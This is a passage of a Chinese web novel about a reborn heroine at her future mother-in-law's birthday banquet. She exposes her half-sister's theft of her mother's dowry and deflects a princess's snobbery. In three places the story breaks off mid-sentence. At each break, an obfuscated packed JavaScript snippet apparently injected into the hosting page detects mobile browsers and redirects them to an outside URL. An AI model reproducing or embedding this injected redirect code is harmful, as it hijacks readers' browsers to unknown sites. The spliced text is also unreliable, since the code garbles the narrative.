一日后，天气晴好，春风和畅。 暖金色的阳光透过雕花窗棂柔柔洒入纪府花厅。花厅中，朱漆雕花长案上铺着月白湘绣桌布，错落摆放着青瓷冰纹果盘，盛着西域蜜瓜、葡萄等时令鲜果。 厅中四角立着青铜仙鹤香炉，吐出缕缕沉水香，香气沉静而雅致。 纪夫人今日着了身天青色绣银竹的褙子，发间戴一顶梅花纹羊脂白玉冠，虽已年近四十，却因保养得宜，面容清丽如三十许人。 她含笑接过贵妇们递来的寿礼，端坐在席首紫檀云纹扶手椅上，听着众人寒暄。 “夫人这些年都不办寿，可叫我们好生惦记。”身着绛紫褙子的刘夫人摇着缂丝团扇笑道，“上回赏梅宴也不见人，还以为与我们生分了。” 纪夫人靠在靠枕上，眼角细纹舒展，与往昔闭门礼佛时的冷肃判若两人，“前些年身子不大好，太医嘱咐静养，”她目光似有若无地掠过厅门，“如今大好了。” 坐在座首左侧的荣亲王妃目光往座下扫了一圈，问道：“今日怎么不见淮之？” “医官院事忙，说是晚些到。”纪夫人话音未落，忽听下首一位夫人笑道：“今日孟家小姐要来吧？听闻那姑娘生得琼姿花貌，性子又温婉可人，针黹女红更是出色，大公子好福气。” “是啊，还未曾见过这位孟大小姐呢，今日可有机会一睹芳容了。” 满座命妇闻言皆含笑附和，眼底却藏着几分玩味。谁不知孟家虽家底丰厚些，终究门第不高，这番夸赞不过是为全主家颜面。 纪夫人心中对这门亲事并没有不满的，这些人眼界低，只知道看家世背景，殊不知人才品行才是最要紧的。 而在她心中，孟玉桐良善慈软，性子周全又大方，待人待事皆以真心，实在难得。临安城中怕是再没有比孟玉桐更适合做媳妇的姑娘了，她唇角微扬，正待开口，忽听厅门处传来一阵骚动。 众人回首，只见孟家姐妹一前一后踏入厅中。 孟玉桐今日着了那身暗紫色遍地金大袖襦，赤金头冠在室光下刺目晃眼，衣摆上绣着大朵的牡丹团花，行走间金线闪烁，活似个暴发户家的娘子。 这般浮夸装扮，叫人都不敢细看，只一眼便都匆匆别开了眼去。 而她身后的孟玉柔却是一身烟色罗裙，发间只簪一支白玉芙蓉簪，清雅简单。两相对照，愈发衬得前者张扬不合时宜。 满堂贵妇一时静默。 “到底是商贾出身......”有人以扇掩面，低声耳语。 “这般作派，怎配得上纪大公子......” 孟玉柔听着周遭这些议论，唇角忍不住上扬。她偷眼去看纪夫人，见对方眉头微蹙，心中便更满意了。 只可惜纪公子不在，没让他瞧见孟玉桐这般俗气的模样。 荣亲王妃倒是绕有兴致地打量着孟玉桐。 她与纪夫人李婉虽为妯娌，都是皇室宗亲，偏偏李婉生了个如此出众拔萃的儿子，而她生的那个却是临安城出了名的纨绔。 表兄弟二人常常被拿来比较，可这两人实则是没有什么好比的，不过是时下人惯爱踩一个捧一个，变着法子嘲笑她苏明微罢了。 荣亲王妃轻摇团扇，眼底闪过一丝玩味。如今倒是有趣，这临安城最负盛名的少年郎君，竟要配这般俗艳的女子，倒叫她心下生出几分快意。 “孟大姑娘果然名不虚传。”王妃朱唇微启，“这般容色，当真令人过目难忘。” 纪夫人对席下一些私语之声恍若未闻，只笑着朝孟玉桐招手，“玉桐来得正好。你祖母近日身子可还康健？” 孟玉桐端着得体的微笑，她缓步上前，向纪夫人行礼祝寿，“多谢纪夫人挂怀，祖母一切安好。”举手投足间不见半点局促。 这一身气度倒是脱俗，与她这装扮品味不太相衬。 孟玉柔见众人目光皆被孟玉桐引去，忙示意侍女捧来一方紫檀嵌螺钿锦盒，笑吟吟上前：“夫人，这是玉柔亲手挑的玉饰，与您的气质很是相称，祝您福寿绵长。” 她揭开锦盒，里头躺着一枚玉佩，和田籽玉圆雕作宝葫芦状，葫芦玉上草木花纹蜿蜒如生，上悬盘长结络子，下缀五蝠攒心流苏。 纪夫人目光淡淡掠过，颔首道：“你有心了。” 婢女上前接过锦盒收起。 “这纹样倒是精巧。”刘夫人凑近细看，“这是......” “是芨芨草，秦州名花，”孟玉桐温声接话，指尖不着痕迹地抚过自己袖口，“秦州绣娘匠人最擅此花样。” 众人闻言，不由重新打量这位孟家嫡女。 细看之下，但见她眉如远山含翠，目似秋水横波，纵然一身浮华装扮，也掩不住骨子里的明艳大气。一双眼睛大而有神，如青瓷盘里盛着的那葡萄似的，灵动深邃，见之难忘。 与当下时兴的清冷如弱柳扶风之态迥异，反倒显出少见的雍容华贵的气质来。 孟家姑娘模样的确出众，多看两眼，倒是硬生生将这一身落俗的大金大紫看顺眼了。 荣亲王妃朱唇微抿，亦是打量着即使身处非议中心依旧脊背挺直、目光清正的孟玉桐，眼底那丝快意淡去，取而代之的是一抹审视。 这通身的气度……倒不像是小门小户能养出来的。 孟玉柔笑容一僵，暗恼她插话，忙道：“姐姐的贺礼呢？”她故意顿了顿，“姐姐莫不是今日顾着打扮，忙忘了吧？” 满座贵妇神色皆有些微妙。 孟玉桐不慌不忙从白芷手中接过一只素锦香枕：“晚辈拿不出妹妹那般贵重的礼物，只能亲手缝制此物。” 她将香枕奉上，枕面是落花流水锦，曲水纹打底，散落着疏朗的梅花，“听闻夫人眠浅，里头添了安神的药材。夜里放在榻间，有舒心凝神的安眠之效。” 纪夫人将香枕接过，指尖抚过枕上疏朗的梅纹，一缕清冽药香沁入心脾，连日来的烦躁竟奇异地被抚平了些许。 这丫头……总是这般用心。 她抬眼看向孟玉桐，眼中泛起涟漪，半晌才道：“这味道闻着便舒心，费了你不少功夫吧。” 孟玉桐摇摇头，“夫人喜欢便好。” 上辈子，她嫁入纪家后才知，纪夫人和纪昀皆有失眠之症。 寻常安神汤药对他们收效甚微，想起幼时为母亲做的安神香囊，她于是便另辟蹊径，从香囊、香料一类的下功夫，辅之一些安神的药材，反倒见效。 如今重来一世，这香枕里的配方，正是前世反复调试所得。 座下亦有人附和：“这香枕当真是用心，我这夜里也睡不好呢，还是纪夫人有福气！” “是啊，别说咱们了，我儿白日里多饮几盏茶，夜里也睡不踏实呢，这亲手制的香枕可是想要也买不到呢。” 孟玉柔听得别人称赞的话，又见纪夫人爱不释手，酸溜溜道：“姐姐，姨娘每月也给了你不少银钱，你怎么不置办件像样的礼物呢，”声音虽轻，却恰好能让周围几位夫人听清，“姐姐该不会将银钱都花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127366|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了自己身上，没有余钱了吧？若早知道如此，你怎么不同妹妹说呢？” 孟玉桐眸色澄明，好似听不懂她的话，“妹妹说笑了。姨娘周到，今日来宴席的行头从上到下都是她置办的，我没有什么要给自己打点的地方。” 她说着微抚袖口，看似无意地调整了一下站姿，裙摆恰好微微铺开展于道旁，声音轻柔却清晰，“姨娘出身书香门第，眼光自然不俗。既是她一番心意，我这做晚辈的岂敢推辞？” 这一番话，语气柔和，话却说得滴水不漏，既撇清了滥用银钱的指责，又将这身浮华装扮的来由说得明明白白。在座诸位夫人哪个不是人精，闻言皆若有所思地望向孟玉柔。 孟玉柔闻言一张脸红了又红。 恰在此时，一名捧着茶盘的丫鬟经过。孟玉桐侧身避让，丫鬟却不慎踩到裙角，手中茶盏向前一倾—— “哗啦”一声，整盏热茶尽数泼在裙裾上。 “哎呀！”孟玉桐轻呼一声，提起湿透的裙摆，露出底下月白衬裙上大朵芨芨草花木纹。 这花纹工艺技法与方才孟玉柔呈上来的玉器一模一样，显然是出自同家。 荣亲王妃捧着茶盏，看热闹似的将手搭在檀木椅子上，笑道：“不愧是一双姐妹，孟家姑娘倒是都偏爱这秦州的草木纹。” “母亲是秦州人。”孟孟玉桐捏着帕子的指尖微微发颤，眼中水光潋滟，“这衣裳是她......留下的嫁妆。” 厅内顿时陷入死寂。 诸位夫人交换着眼色，孟玉柔送来的贺礼和孟玉桐裙摆间来回扫视，神色渐渐微妙——既然是嫡母的嫁妆，怎会到了庶女身上？ 再联系起孟玉桐方才说的话，其中关窍不言自明。 原来这秦姨娘不仅苛待嫡女，霸占其嫁妆，还在今日这样的场合给她挑选那般浮夸的衣饰让她出丑，这孟家大姑娘在孟家的日子看来并不好过啊。 难怪纪夫人今日寿宴只请了两个姑娘，独独没请那位姨娘呢。 孟玉柔脸色煞白，凑近孟玉桐耳边咬牙道：“姐姐你这副姿态旁人该如何想我！” 她当这孟玉桐真是傻的，让她穿这身便穿着这身来了，原是在这里等着她。如此想来她前日状似无意说的那句纪家人喜欢清新的花木纹的话，也是故意说给她听的了！ 孟玉柔这一回的声音的确是说得低了，低得只叫孟玉桐一人听见。 孟玉桐唇角微扬，声音轻淡：“妹妹拿这身衣裳首饰来让我穿的时候，拿走我母亲嫁妆当做贺礼送来纪府的时候，又可曾想过旁人会如何想我？” “你——”孟玉柔气得指尖发颤，锦帕都被绞做一团。 “玉桐。”纪夫人忽然开口，声音温和，“衣裳湿了容易着凉，去换一身我的旧衣吧。”转头吩咐贴身嬷嬷：“去取那件月白绣梅的来。” 这一句话，等于当众表明了对孟玉桐的维护。在座夫人何等精明，立刻岔开话题，说起近日时兴的花样子。 孟玉桐福身行礼，随着嬷嬷退出花厅。转身时，余光瞧见纪夫人脸上关心的神情真切，心中疑惑更深。 上一世的记忆中，她这位婆母就如她爱的梅花一样，性子淡淡的，终日将自己关在屋子里吃斋念佛，少见什么喜怒哀乐。 今日瞧她，却觉得和从前大不相同了。 仿佛换了个人…… 孟玉桐走后，孟玉柔只觉面上挂不住，趁众人说话的功夫，自己找了个位置悻悻坐下，没多久又寻了个理由悄悄走了。 8. 第 8 章 穿过一道垂花门，陈嬷嬷引着孟玉桐来到一处清雅厢房。 两个着藕荷色比甲的婢女正捧着熏笼退出来，见人来立即福身行礼，轻手轻脚地将雕花门扇推开。 屋内陈设简素，临窗的紫檀衣架上，挂着一袭刚备好的月白色绣折枝梅的褙子，料子是上好的吴绫，在透窗而入的日光下泛着珍珠般的温润光泽。 陈嬷嬷将衣裳取下递给孟玉桐道：“这是夫人年轻时的旧衣，姑娘先将就着穿。” 孟玉桐道谢接过，待换好衣裳，陈嬷嬷举着铜镜过来。 镜中人一袭素衣，反倒衬得眉眼如画。 那月白衣料映着淡淡的天光，腰间束着浅碧丝绦，整个人如一支新绽的娇妍玉兰。 陈嬷嬷不由赞道：“姑娘穿这身倒是合宜。” 孟玉桐笑笑，“有劳嬷嬷了。” 待收拾妥当后，两人沿着回廊往回走，孟玉桐慢条斯理地理着衣袖，状似无意地与她闲谈：“夫人往年都不设寿宴，今年突然操办，处处妥帖，想必费了不少心思？” 陈嬷嬷脚步微顿，眼中精光一闪：“姑娘何出此言？” 她是这府中的老人了，自然不是那么容易套话的。 孟玉桐上一世嫁入纪府后，纪夫人不怎么露面，她的一切事务便是由这位嬷嬷亲自料理，是十足的心细如发。 孟玉桐忙捏着帕子掩唇，双颊适时泛起红晕：“嬷嬷莫笑话，只是……”她声音渐低，“我……倾慕大公子已久，又将入纪府，总想多知晓些婆母的喜好。” 这番小女儿情态做得十足，陈嬷嬷目光在孟玉桐低垂的眼睫上停留了一瞬，才又恢复寻常神色，了然道：“夫人是想着大公子即将成婚，总要重新与各家走动。再说等姑娘过门后，这些应酬往来总是少不了的。” “原是如此，”孟玉桐眸光微转，“不知这寿宴是何时开始筹备的，若是早知夫人要办寿，我应该早些知会祖母一声的。” “其实筹备得仓促，也是前两日才定下。” 孟玉桐心中微动，竟然也是前两日。她有些心不在焉地跟着往前走。 转过前边的假山石，陈嬷嬷停下步子，她便也跟着停下。忽见纪昀带着纪明立在廊下。 少年郎君一袭靛青直裰，迎风直立，腰间悬着一枚青蓝色香囊。阳光透过长廊上的紫藤花架，在他衣袂上投下斑驳光影。 孟玉桐与他遥遥相交一眼，呼吸一窒，是纪昀。 方才那番随口说的“爱慕”之言，竟是被正主听了个全乎。 她指尖下意识蜷进掌心，掩去面上陡然凝滞的神色，飞快垂下了眼帘。 纪明朝她挥手：“孟姐姐！” “姐姐今日来参加我母亲的寿宴吗？”待孟玉桐两人走到廊下，纪明挣脱兄长的手，小跑着停在她跟前，仰着脸望她。 孟玉桐浅笑着点点头，“小公子身子可好些了？” 纪明眨眨眼，在她跟前原地转了一圈，拍拍胸脯高声道：“多亏了孟姐姐，早就好了！” 陈嬷嬷有些狐疑，不知孟家小姐与小少爷是如何相识的。 正准备上前问上一句，却见一旁的大公子招手将她唤来，让她将小公子带去回廊口等着。 她便只好照办，拉着不情不愿的小公子走出了回廊。 离开时，她忍不住回头往后看，见两人隔着远远的站着，并不熟稔的模样，这才稍放下心。 廊下忽然安静下来，只余风吹紫藤的沙沙声。 “孟姑娘。”纪昀微微颔首，声音清朗。 孟玉桐朝他微福身，神色疏离而冷淡，“纪公子有事？” 这是她重生以来第一次见纪昀。 不似从前，一见他就面红心跳，一想他就情难自已。那些女儿情态早已在上一世磋磨殆尽。 更没有想象中的怨怼愤恨，此刻他站在她面前，她只觉得，心如止水。 “前几日舍弟突发腹痛，还要多谢姑娘出手相助，此事纪府欠姑娘一个人情。”纪昀声音淡然，目光缓缓落在眼前人身上。 那清冷目光似乎淡淡往她腰间掠过，只见她腰间空空，上回见她时戴的那枚碧色双鱼佩并未挂在腰间。 孟玉桐回道：“那日大雨，纪公子也曾施伞相助，我误打误撞帮了小公子，便当是还了公子施伞之恩了。” 紫藤花影婆娑，落在孟玉桐妍丽的眉眼间，她微微垂着眼，视线落在青石板上绰约的花影上，好似乖顺模样。 语速却比与纪明说话时快上几分。 纪昀静静瞧着，隐约觉得她好像有些不耐烦。 他转过视线，从怀中取出一只粉色香囊，缓缓递到她眼前：“舍弟带回香囊时，发现了这个。想来应是姑娘遗落的。” 他掌心微展，五指却若有似无地环住香囊边缘，两根粉色系带从指缝间垂落，在风中轻轻摇曳。 若要取回，难免肌肤相触。 孟玉桐这才抬眸看向他，她乌黑明眸转了转，很快反应过来，伸手去取那件香囊，“的确是我的，想来应是那日混乱，不小心将它给了小公子。” 她两指精准地捏住那垂落的系带，轻轻一拽。香囊如游鱼般从他掌心滑出，“有劳公子替我保管，我这就带走了。” 有风穿廊而过，紫藤花影在青石板上碎成流动的斑驳。 纪昀缓缓收拢空落落的掌心，指腹残留的浅淡药香被风卷散。 总觉她与他前两日在茶肆外偶遇时相比，有些不一样了。 那时她望向自己的眼神，温婉而柔和，带着一两分明显的羞怯。 “纪公子若无事，我便先离开了。”她扯开嘴角，眼中却平静而冰冷，语调颇快，裙角也很快随着她的动作摆开，像是有什么洪水猛兽在背后攀她似的。 “且慢。”纪昀忽然上前半步，靛青袍角扫过石阶落花，暗色花影在他俊逸的面容上流转，他开口问道：“姑娘给舍弟配的药方，手法甚是老道，”他声音压低，目光带着几分探究，静静落在她身上，“从前似乎从未听说过姑娘精通医术，不知师承哪位圣手？” 孟玉桐将香囊收回袖中，淡淡道：“家中经营药材，跟着药师略学了些皮毛罢了。这点功夫就不在纪公子面前班门弄斧了，”她抬眸，坦然迎上他的审视，“方才席间不甚弄湿了衣裙，我这趟出来是换衣裳的，这衣裳换了颇久，恐怕纪夫人要担心。” 显然是不愿再与他多说。 廊下静了几息，风吹花动的摩挲声一阵高过一阵。 纪昀眼中似有暗暗花影掠过，明暗交错中，辨不清情绪，他拱手后退一步，“是在下冒昧。” 她颔首离去，纪昀望着她消失的方向，却微皱了皱眉。 寻常药师不过略通些医理，能辨认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127367|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药材，若说治病救人还差得远。究竟是什么药师能传授她一身如此医术？ 他捻了捻指尖，散去手上残留的一点香气。 罢了，她会不会医，又是否与从前不同，实则都无关紧要。 耳边传来短促的脚步声，他转过头，便见云舟捧着一个木匣子停在他身后。 “公子，您让我拿的东西。”云舟将木匣子打开递过来，露出靛青绢面封皮的《药理》手抄本，此书讲述药材本源功效、作用机制，是祖父纪怀瑾任翰林医官院院使时所著传世著作。 祖父如今在外游历，正是在着手编写第二本医术《药契》，此书主要讲的则是药材的相生相克。 对于纪明的腹痛之症，孟玉桐配的方子虽独到特别，可药性上却是差了一些。这本《药理》于她而言，应当大有裨益。 不过……纪昀狭长的丹凤眼微眯，‘啪嗒’一声伸出手将匣子合上。 她既说了不必答谢，便不需多此一举了。 “送回去罢。”纪昀转过身往前走。 “啊——”云舟拉长了声调，想再确认一句，纪昀已三两步走出很远了。 他只好一边摸着脑袋，一边捧着盒子往回走。 虽然不是很理解，但是也只能照做。 纪明被陈嬷嬷拉着，不老实地东张西望，踮着脚探着耳朵总想听清楚兄长和孟姐姐在说些什么悄悄话。 可惜离得太远，听不清。只瞧见兄长将孟姐姐的香囊还给了她，孟姐姐拿回香囊时好像还往后退了半步。 纪明一双黑圆眼珠滴溜溜地转，生怕错过一星半点。 直到瞧见孟玉桐往这边走过来，他才一把松开陈嬷嬷的手迎上去，“孟姐姐，你和兄长说什么了，怎么聊了这么久？” 孟玉桐看向陈嬷嬷，见她并未阻拦，便耐心回道：“没什么要紧事，不过是问候了几句。” 陈嬷嬷这才上前拉过纪明，“小公子在此处等公子过来，老奴先领着孟姑娘回席上去。” “那孟姐姐一会儿见！”一听到陈嬷嬷提到纪昀，纪明生怕自己一个不小心又触了兄长的霉头，于是飞快点头，乖乖在廊柱边等着。 两人走远后，他一只手横在胸前，一只手捏着自己的下巴，开始沉思。 方才他好像隐约听见孟姐姐说她‘爱慕’兄长，可是两人独处时孟姐姐的态度瞧着又十分冷淡，孟姐姐究竟喜不喜欢兄长呢？ 他有些困惑。 孟姐姐若是不喜欢兄长，会不会也连带着不喜欢他呢？ 他两根眉拧做一团，十分纠结的模样。 “又在琢磨什么？”清冷嗓音自头顶落下。 纪明仰头，脱口道：“我在想该怎么委婉地提醒兄长他有些不讨人喜欢。” 一句话说出口，正撞进兄长深潭般的眸子里，纪明才反应过来自己说了什么，连忙捂住嘴，眼珠一转脸上绽开一道讨好的笑，“兄长，我是说你今日真真是丰神俊朗，满院的花草都要避让你的光华！” 纪昀轻嗤一声，懒得理他，拂袖转身而去。 长袖打在纪明胳膊上，他一个激灵闪开，又腆着脸快步追上去，“兄长等等我呀。我的腿可没有兄长那么长，一步能迈出一个我那么长呢。” 纪昀脚下未停，只从鼻间逸出一声几不可闻的轻哼，也不知是无奈还是嫌弃，步幅却缓了半分。 9. 第 9 章 孟玉桐随陈嬷嬷一起回正厅席间时，见诸位夫人执盏品茗，案上茶烟袅袅，较方才倒是添了几分静谧。 花厅之间唯余茶盏轻碰之声。 “哟，这就是淮之的那位未婚妻？”纪夫人身旁不知何时坐了位绯衣女子，眉目张扬，语声不羁，说话间耳边一对红珊瑚坠子摇摆不停，闪得人眼花。 陈嬷嬷附耳低语提醒，孟玉桐听后盈盈福身，“景福公主万安。” 当今圣上有三个兄弟姊妹，景祯公主、荣亲王和景福公主。四人虽不是一母同胞，但在历年来见血不见情的皇室宗族之中，已算得上关系不错了。 景和二十年圣上秋猎之时，猎场中一头花豹发狂袭击，景福公主替他挡下了致命一击，虽保得圣上身安，她却自此缠绵病榻，养了许久才堪堪恢复。 自那之后，圣上对这位幼妹千般纵容。景福公主今年三十有二，还尚未婚配，外头流言纷纷，圣上便干脆赐了她府邸庄园开府，并一干清俊少年，随意她差遣。 有圣上这般撑腰，即便这位公主性子如何张扬泼辣，行事背经离道，亦无人敢置喙半句。 不过……孟玉桐胸中一滞，指尖微蜷，她忽然想到秋海棠之毒。 景福公主是在明年三月宫宴上中毒离世的。 “模样倒是不赖，仪态气度算得上端方，不过这商户出身实属下乘，与淮之这样的人中龙凤，终究是云泥之别。” 景福公主朱唇轻启，眼间尽是挑剔，“也不知这纪老太爷究竟欠了孟家多大一个恩，竟拿孙儿终身相抵。” 在旁人眼里，攀上纪家是孟玉桐几辈子修来的福气，可与孟家扯上关系，却是纪昀倒了大霉。 两家婚事定下后，外头不乏流言蜚语，只不过纪家向来注重门庭体面，是没人敢在他们跟前说这样打抱不平的话的。 偏偏景福公主是个口无遮拦，无法无天的，兴致来了便将这样当众发难，一旁的官家太太们纷纷噤声，看起热闹来。 “娟儿，休要胡说。”纪夫人轻按景福公主的胳膊，眉间有几分不悦之色。 景福公主随即斜睨了纪夫人一眼，酸溜溜道：“哟，这人还没嫁进来呢，姐姐倒是先护上了。还真是婆媳情深呢。也不知我是在为谁说话，白惹人嫌。” 孟玉桐微垂着眼，受着屋中众人异样的目光在原地站着。 她心下了然，纪夫人越是为她说话圆场，这位公主便越是揪着她不放，没法这样轻易糊弄过去。 她抬起头，语声轻缓却不卑不亢，在纪夫人准备再次开声前截过了话头，“公主殿下凤藻金声，所言‘门第之别’，确是世间常有之论。 “孟氏虽为商贾，然家训首重‘诚信立身，仁德传家’。晚辈自幼蒙祖母及父母教导，时时谨记于心。 “纪公子龙章凤姿，晚辈虽蒙祖训，于门楣勋贵，实不敢妄称匹配。” 景福公主掩着唇笑出声来，“倒是还有几分自知之明。” 孟玉桐能感受到，有许多意味不明的视线落在自己身上。 若换作前世那个困于他人言语的自己，此刻怕是早已面红耳赤，无地自容。 可今时不同往日，她历经一世沉浮，又岂会再被几句闲言轻易困住？ 她身形未动，微微扯动嘴角，脸上呈现出一道得体笑容，“然此桩姻缘，承先祖情谊之泽，系于长辈慈命，晚辈唯有谨遵教诲，时时惕厉，恐负两家长辈之厚望，亦忧损纪公子清俊令名。 “今日乃夫人寿诞，满堂吉庆。晚辈愚见，门第匹配与否，自有长辈权衡。晚辈唯愿夫人福寿绵长，府上安康和乐。” 一番话说完，满堂倏然一静。不等景福公主回神，孟玉桐广袖翻飞，行云流水般行了个万福礼，脚步轻移，悄无声息落座。 落座后，她指尖紧攥着手心的帕子，脸上带一丝恰到好处的落寞伤怀，垂眸间眼波流转，盈盈欲泣之态，惹得周遭夫人们皆暗叹一声“我见犹怜”。 众人方才皆知，孟家这嫡女幼年失恃，又受妾室苛待磋磨。 这看似高攀的姻缘，于她而言，又何尝不是枷锁？ 往后踏入纪府朱门，是福是祸，当真难料。 景福公主面上的张扬笑意如潮水退去，眼底腾起阴云。 孟玉桐这番话，表面低眉顺目，实则句句暗藏机锋，那句“自有长辈权衡”，分明是暗讽她越俎代庖。 偏生对方又摆出这副楚楚可怜模样，若再纠缠，只怕姐姐定要阻拦。 她凤目微眯，盯着孟玉桐的眼神愈发冰冷，这商户女看似柔弱，实则暗藏锋芒。若放任她进了纪府，只怕要搅得鸡犬不宁。 心思百转间，她已打定主意要去圣上面前提上一句，管这纪老太爷欠了什么劳什子恩情，大不了多赏些金银，断不能让淮之误了终身。 正思忖间，一道清越男声自月洞门外传来：“姨母安好。” 景福转怒为喜，笑着抬眼看向来人，“淮之，今日是你母亲的生辰，可是去为你母亲准备什么惊喜了？” 纪昀长身玉立，朝着主位两人恭敬一揖，“儿子偶遇秦州游商于御街八珍坊设摊，见这只玉镯镯身通透如水，正合母亲雅趣，故而采买，望母亲喜欢。” 说罢，云舟打开锦盒，只见里头躺着一只羊脂白玉镯，镯上银丝勾勒的梅花栩栩如生，花瓣间还缀着几粒东珠，在室内淡淡光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127368|180116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影中流转着盈盈光华。 纪明小步疾行至纪夫人膝前，双手捧起描金漆盒，献宝似的将玉镯取出。 那羊脂白玉光泽温润，他小心翼翼替母亲套上，仰着小脸笑道：“母亲瞧瞧可合手？我与兄长在御街挑了好久才挑中的呢。” 纪夫人抚着腕间玉镯，眉梢眼角皆是暖意，伸手揉了揉纪明发顶：“你们兄弟有此孝心，母亲很喜欢。” 纪明被母亲亲近，先是一愣，而后脸上转现明朗笑意，“母亲喜欢就好！” “纪夫人好福气，两位公子这般贴心，真是羡煞旁人”，一旁的夫人们也笑着恭维了几句，方才景福公主发难之事便被这么悄悄揭了过去。 孟玉桐坐于末席，眸光掠过那只玉镯时微微一顿，纪昀口中的秦州游商难道是……她垂眸望着案前茶盏，看来自己要去一趟八珍坊瞧瞧才好。 正思忖间，刘夫人摇着团扇笑问纪昀：“听闻翰林医官院近日要颁新令，民间医馆若表现出众，便能入了官家名册？” 这工部侍郎刘夫人有个儿子名唤宋寅深，今年二十五，性子清高古怪，还未娶妻。 据传这位宋公子自幼被父亲按科举入仕的路线严格教养，可他却对经史子集毫无兴趣，反爱偷翻家中藏的医书，常蹲在药铺外看郎中诊病。被父亲发现后训斥“玩物丧志”。 后来宋寅深屡试不第，家中知道他不是读书的材料，见他喜欢学医，便想着退而求其次，让其去考医官院。 谁知这医官院也考不上。 他又不屑靠父亲荫庇进太医院当个“挂名医官”，家中无奈，替他开了间医馆。 医馆名为“济世堂”，就开在在御街太庙旁，毗邻太医局与官署。 刘夫人盘算着，济世堂本就占了地利，若能得官家收编，岂不是平步青云？她也不必再为儿子的前途忧心。 纪昀缓缓撩起衣袍，在孟玉桐正对面的空位坐下，他抬眼时，恰见对面女子正执起茶盏轻啜，姿态闲适自然，仿佛方才的事情对她并未有什么影响。 见他瞧过来，她避也不避地静静望回来，一双眸子亮如浸在清泉里的乌珠，清白直接，倒叫他指尖顿了顿。 他想起方才面对姨母的刁难逼问，孟玉桐一派淡然冷静，伶牙俐齿的模样，倒是与传闻中的娴静安然有些出入。 他淡淡移开视线，朝刘夫人道：“确有此事，今日刚在朝天门城墙张榜。” 纪夫人静静瞧着两人之间一来一往的眼神动作，眉心皱了起来。 她总觉着，孟玉桐看向自家儿子的眼神，不像是在看未婚夫婿，过分的直白冷静了些。 不知怎的，心中隐隐不安。 10. 第10章 纪昀言罢医馆入官册一事，刘夫人手中团扇摇得更急，追问：“不知这收编的章程如何？临安城百余家医馆，能有几家入得官眼？” 她哪是真不知详情，不过是借纪昀之口，向众人宣告济世堂志在必得，顺带探探这新政有无空子可钻。 纪昀指尖轻叩着案几，缓缓开口：“从今年五月开始，一年为期。明年五月，医官院会按救治人数、药材施济、坊间口碑综合考评，前十者收编。” 他话音未落，刘夫人顿时喜上眉梢，这救治人数、药材施济等等都有可运作的空间，听来不算是难事。 只是她脸上笑意还未散，便听纪昀话锋一转，语气更淡：“每一项考评都有医官逐户核查，若有虚增病患、伪造口碑者，当即查没医馆，不可再参选。” 刘夫人的小心思被人看穿，一时间心虚不已，身子倏然塌下来半寸。 她强作镇定，摇摇扇子附和道：“自然，自然。” 孟玉桐闻言眸色微变。 纪昀不咸不淡的话语，在她心中却已掀起波澜。 一年时间，十家医馆……若真能入了官家名册，不仅能全了她想坐馆行医的心思，更能借此从孟家分出…… 孟玉桐视线轻转，看向纪夫人身侧的景福公主。 她自然对这医馆之论没什么兴趣，此刻正百无聊赖地拨弄腕间赤玉镯子，那镯子血红如霞，倒衬得她指尖莹白。 这性子火烈的公主，怕是还在为方才被驳了颜面耿耿于怀，指不定正琢磨着如何在圣上面前进言，好搅黄了这门亲事，替她外甥省去一个大麻烦呢。 若真能退亲，于她而言倒是省心。 可孟玉桐转念想起上一世种种，照景福公主的性子，怕是早已在圣上面前提过异议，可她最后还是嫁入了纪家。 可见这门亲事成全与否，症结终究系在祖母身上。 听完纪昀今日所说，她心中已隐隐有了说服祖母的绝佳借口。 想起祖母……孟玉桐心头微涩，恍惚忆起那个凄惶的午后，白芷同她说祖母并未反对秦姨娘让孟玉柔嫁过来的提议。 她那时心中是有怨的。 只是到了如今，她早已懒得去计较上辈子那团烂账。 她更在意的是，如何在这桩于孟家生意有益的婚事中，寻得能让祖母点头退亲的筹码。 思绪翻飞间天色已渐暗，纪夫人起身送景福公主离开。 满堂宾客起身，孟玉桐也跟着起身，恭敬低眉立在一边。 景福公主穿着张扬明艳，头上身上以赤红色装饰为主，故而看她第一眼便会被她上半身吸引视线。 而此时孟玉桐低着头，倒是发现些不寻常的。 她瞧见景福公主经过她身旁时，步子缓缓，一深一浅，似乎与常人走路的步伐不太一样。 她心头掠过一丝异样。 未及深究，景福公主与纪夫人已经离开花厅。其余人也开始陆续离开，孟玉桐跟着人流往外走，刚走出两步，便被纪明拉住。 “孟姐姐，这是母亲让我给你的。”他捧着一方锦盒，里头正是孟玉柔方才送给纪夫人的贺礼。 是她母亲的东西。 